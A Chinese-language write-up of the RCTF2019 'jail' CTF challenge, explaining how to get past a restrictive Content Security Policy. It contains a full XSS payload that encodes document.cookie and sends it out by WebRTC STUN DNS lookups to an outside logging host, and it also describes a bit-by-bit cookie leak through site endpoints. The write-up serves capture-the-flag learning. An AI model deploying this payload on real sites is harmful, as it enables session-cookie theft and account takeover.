RCTF2019 jail WriteUp

一道绕csp的题,这是我首次遇见CSP绕过的题,也把以前CSP绕过知识都总结了下

打开题目注册登录,有一个Guestbook可以发送评论,Feedback可以发送评论id,个人用户那里可以上传头像。

测试上传部分除了php可以任意上传,本以为这道题会和今年Teaser CONFidence CTF中的一道题类似,上传svg图片执行js。但是其实这道题可以上传任意js文件,事实上,在Guestbook中输入的js代码会在CSP的限制下任意执行。

所以,这道题留给我们的任务在于如何绕过CSP。

CSP限制

首先看一下CSP限制

content-security-policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

如果CSP不熟悉的可以看看我这篇介绍文章。可以看到script-src 'unsafe-inline' 'self'; 意味着js指令可以任意执行了。connect-src 'none'; 限制了将数据带出。frame-src 'none';限制了使用iframe框架。

第一解:WebRTC绕过connect-src 'none'

所以现在的唯一的问题在于connect-src 'none',我们无法将数据带出去。这里题目一开始给了提示

其实经过谷歌百度,我们能找到一个https://twitter.com/majorisc/status/1016466661266919426 已有使用WebRTC绕过解法。

WebRTC连接时会无视CSP的存在,而导致绕过connect-src,而且从github issue中可以看出人家暂时还没有想法作出修补。

payload:

function strencode(str) {
  if(str === "")
    return "";
  var hexCharCode = [];
    var str1 = window.btoa(str).replace('/', '-').replace('+', '_').replace('=','');
  for(var i = 0; i < str1.length; i++) {
    hexCharCode.push((str1[i]));
        if(i%60 == 0){
            hexCharCode.push('.');
        }
  }
  return hexCharCode.join("");
}
xss=window.addEventListener("load", function(){var peerConn=new RTCPeerConnection({'iceServers':[{'urls':['stun:'+ strencode(document.cookie) +'.6ah6et.ceye.io:19302']}]});var dataChannel=peerConn.createDataChannel('xfucker');peerConn.createOffer({});peerConn.createOffer({}).then((desc)=>peerConn.setLocalDescription(desc))});

值得注意的是,使用DNS带出数据时,不能让每段子域名长度大于63字节,否则会报错,我在这一部分卡住了不少时间,所以上面我写了个函数切分段。

可以看到有了数据,拿出来拼接解码一下就OK啦.

第二解 非预期

来源:https://github.com/nytr0gen/rctf-2019-writeups#jail

这个解法很妙,此时我们的问题在于可以执行js,无法将数据带出来,这位大佬给出了另一个CSRF的不同的思路:可以将admin的cookie替换成自己的cookie访问站内接口留下痕迹,这时自己再登录就能看到啦。

这个大佬的思路是,可以通过admin用户登录自己的号向自己评论cookie,但是题目限制了不能执行form,但是他想到了另一点,通过Delete_all的GET方式的接口,传达信息。

那么现在思路清楚了,我们可以一位一位猜解admin的cookie,首先js判断admin的cookie中其中一字节的ascii的二进制位为1还是为0,为1访问delete为0访问logout,此时登录是如果什么都没发生则为0。这样一位一位猜解,二三十分钟就跑出来了。